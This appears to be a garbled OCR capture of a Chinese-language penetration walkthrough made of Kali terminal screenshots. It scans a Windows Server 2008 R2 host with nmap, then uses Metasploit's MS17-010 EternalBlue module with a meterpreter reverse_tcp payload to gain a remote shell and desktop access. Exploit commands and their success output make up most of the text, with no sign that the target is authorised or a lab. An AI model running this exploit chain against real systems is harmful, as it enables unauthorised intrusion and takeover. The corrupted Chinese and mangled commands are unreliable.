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MEF) iREE(E) BE(V) #E(S) LiRT) #FBEiH)
:~# nmap -sV -Pn 172. 18. 206. 87
ap 7.70 ( https nmap. org ) at 2018-11-
0:00: 32 elapsed; 0 hos completed (1 up), de ing Service Scan
> scan Timing: About 66. 67% done; ETC: 05:32 (0:00:13 remaining)
Mmap scan report for 172.18.206. 87
Host is up (0.000 latency).
994 filt d ports
STATE SERVICE VERSION
http Apache Tomcat/Coyote JSP engine 1.1
msrpc Micr ft Windows
open micro - Microsoft Windows Server : 2 - 2012 microsoft-ds
open e
8088/ tcp open nginx 1.9.11
19154/ tcp open msrpc Micr ft windows RPC
MAC Addr 14:14: 4B: 81: 3D: E2 (Ruijie Networks)
Service Info: 05s: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft: windows

Service detection performed. Please report any incorrect results at https://nmap. org/submit/ .
MNmap done: 1 IP address (1 host up) scanned in 87.49 seconds
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A . B ARHLIF B T 135 445 3389% 35 1

LT 1R %8 A Windows server2008 r2, 3R T 3/MEF I35 04 GEFE) LR ..
AR R EEWAEZ EIRE, FFHRERANE, BAEFKE%SmS: ms17-010

FREWIFE T Kali-linuxsk IR —%F .

H % B 31— T postgresql service postgresq| start

#R J5 # Amsfconsole

SR Jasearch R # Z — Tms17-010

RAERF > B [ &EH- EHIH 05: 46

root@kali: ~
XH(F) HREBE) EE(N) BERS) £IRT) #BEIH)

S LT TN G
:~# service postgersql start
Failed to start postgersql.service: Unit postgersgl.service not found.
:~# service postgresql start
:~F
:~# msfconsole

=[ metasploit v4.16.48-dev
--=[ 1749 exploits - 1002 auxiliary - 302 post
--=[ 536 payloads - 40 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

msf > search msl7-010@

Disclosure Date Rank Description

aUXlliary/admin/smb/msl?_ala_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/Eter
nalChampion SMB Remote Windows Command Execution

auxiliary/scanner/smb/smb msl1l7 010 normal MS517-010 SMB RCE Detection

exploit/windows/smb/ms17 010 eternalblue 2017-83-14 average MS17-010@ EternalBlue SMB Remote Windows Ker

nal Danl farrantinn

RS W s SR ds 1E42%‘i‘w—iﬂi+i.r_ h EHohalides el o

use exploit/windows/smb/ms17_010-eternalblue i FI fE 5k
show options EEFEREN

root@kali: ~

SZTHF(F) ﬁEE[E) sE(V) t%;?;ftﬂ} zﬁmm FEEN(H)

[NL* NI - FloaLfFTOLY JI'D vl Do LTu LLiun
exp101t/w1ndowsfsmb/m51? 010 eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Ker
nel Pool Corruption
exploit/windows/smb/ms17 010 psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/Eter
nalChampion SMB Remote Windows Code Execution

> use exploit/windows/smb/ms17_010_eternalblue
exploit( ) > show options

Module options (exploit/windows/smb/msl7 8186 eternalblue):

Name Current Setting Required Description

GroomAllocations Initial number of times to groom the kernel pool.
GroomDelta yes The amount to increase the groom count by per try.




Prc sName spoolsv.exe Process to inject payload into.

RHOST The target address

RPORT 445 ] The target port (TCP)

SMBDomain : (Optional) The Windows domain to use for authentication
SMBEPass (Optional) The password for the specified username
SMBUser (Optional) The u name to authenticate as

VerifyArch e Check if remote architecture matches ploit Target.
VerifyTarget e Check if remote 05 matches exploit Target.

Exploit target:
Id Name

0] Windows 7 and Server 2008 R2 (x64) All Service Packs

set RHOST A\ @128 ik

¥ B H trIPHikset payload windows/x64/meterpreter/reverse _tcp. i%E#payloadshow options. BEF R E
set LHOST Althht. % B AN Mk

R G exploitiF T B, —TF.

Exploit target:

Id Name

2] Windows 7 and Server 2008 R2 (x64) ALl Service Packs

xploit( ) > set LHOST 172.18.204.6
= 172.18.
) > exploit

[#] Started re handler on 172.18.204.64:4444
[*] 172.18.206.8 Connecting to target for exploitation.
[+] 172.18.206.87:44 Connection ablished for ploitation.
[+] 172.18.206. Target 0S selected valid for 05 indicated by SMB reply
[*#] 172.18.206.8 CORE raw buffer dump (53 bytes)
[*] 172.18.206.87:44 0x0P0PEEEO 57 69 6e 64 6T 77 73 20 53 65 72 76 65 72 20 Windows Server 2
[*] 172.18.206.87:44 OxP0ePEP1e 30 30 38 20 52 32 20 45 b6e 74 65 72 70 72 69 008 R2 Enterpris
[*] 172.18.206. 0000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
[#] 172.18.206.87:44 0x0e0e0e030 61 63 6b 20 31 ack 1
[+] 172.18.206.87: Target ch selected valid for arch indicated by DCE/RPC reply
[#] 172.18.206. Trying exploit with 12 Groom Allocations.
[*] 172.18.206. Sending all but last fragment of exploit packet
[*] 172.18.206. Starting non-paged pool grooming
[+] 172.18.206.87:44 Sending SMBv2 buffers
[+] 172.18.206.8 Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.
[*] 172.18.206. 4 Sending final SMBv2 buffe
[#] 172.18.206.87:44 ending last fragment of exploit packet!
172.18.206.87: Receiving response from exploit packet
172.18.2606. ETERNALELUE overwrite completed successfully (@xCOeEeeeD)!
[*] 172.18.206.87: Sending egg to corrupted connection.
[*] 172.18. .B7: Triggering free of corrupted buffer.
Sending stage (206403 bytes) to 172.18.206.87

T ) EREizER, BESREEHE SRS Ctrl+G, (SR [
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root@kali; ~ @ G

XHH(F) fREB(E) BE(N) HEZRS) LT FEHH)

15T exploit( ) > set LHOST 172.18.204.6
LHOST == 172.18.204.64

nsf exploit( ) > exploit

handler on 172.18.204.64:4444

Connecting to target for yloitation.

Connection established for exploitation.

Target 0S5 selected valid for 0S indicated by SMB reply

CORE raw buffer dump (53 bytes)

Ox00000000 57 69 6e 64 6F 77 73 20 53 65 72 76 65 72 20 Windows Server 2
0x0000PO10 30 30 38 20 52 32 20 45 6e 74 65 72 VO 72 69 008 R2 Enterpris
0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 e 7601 Service P
0x00000030 61 63 6b 20 31 ack 1

Target arch selected valid for arch indicated by DCE/RPC reply

Trying exploit with 12 Groom Allocations.

Sending all but last fragment of exploit packet

Starting non-paged pool grooming

Sending SMBv2 buffers

Closing SMBvl connection creating free hole adjacent to SMBvZ buffer.

Sending final SMBv2 buffers.

Sending last fragment of loit packet!

Receiving response from exploit packet

ETERNALBLUE overwrite completed successfully (@xCeeeeeeD)!

206403 bytes
handling stage...

6.87:445
6.87:445
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Bk, REEBCERT, #HARFH/E, WOLEERHEES, ik, AREE!

& 172.18.206.87 - ini2 =R - | X

[INFO1 [mainl org.redS.server.toncat.TomcatLoader — Dedicated RTMPT server confi
quration was not specified

[INFO1 [mainl org.redS.server.toncat.TomcatLoader — Dedicated RTMPS server confi
guration was not spec ed

Bootstrap complete

[INFO1 [Launcher:/] org.springfranework.beans.factory.config.PropertyPlaceholder
Conf igurer — Loading properties file from ServletContext resource [AUEB-INF-red5|
—web.properties]

[INFO1 [Launcher:/installer] org.springframework.beans.factory.config.PropertyPl
laceholderConf igurer — Loading properties file from ServletContext resource [~WEB
—INF-redS—web.properties]

[INFO1 [Launcher:-] org.springframework._heans.factory._support.DefaultListableBeal
nFactory — Pre—instantiating singletons in org.springframewvork.beans . factory.sup)
port DefaultListableBeanFactory@daB8B8c3i: defining beans [placeholderConfig.web.c
ontext,.web.scopel; parent: org.springframework.beans.factory.support.DefaultList|
lableBeanFactory@49518ea?

[INFO1 [Launcher:- Chat_hranch2]l org.springframework.beans.factory.config.Propert
yPlaceholderConfigurer — Loading properties file from ServletContext resource [/
WEB-INF/red5—web.properties]

[INFO1 [Launcher:~sChat_hranchZ]l org.springframework.beans.factory.config.Propert

yPlaceholderConf igurer — Loading properties file from ServletContext resource [/
WEB-INF-datastoressdatastore.properties]

[INFO1 [Launcher:/installer] org.springframework.beans.factory.support.DefaultLi
istableBeanFactory — Pre—instantiating singletons in org.springframework.beans.fajkd

BARW: BRFH/ITH T HEF L EE /R
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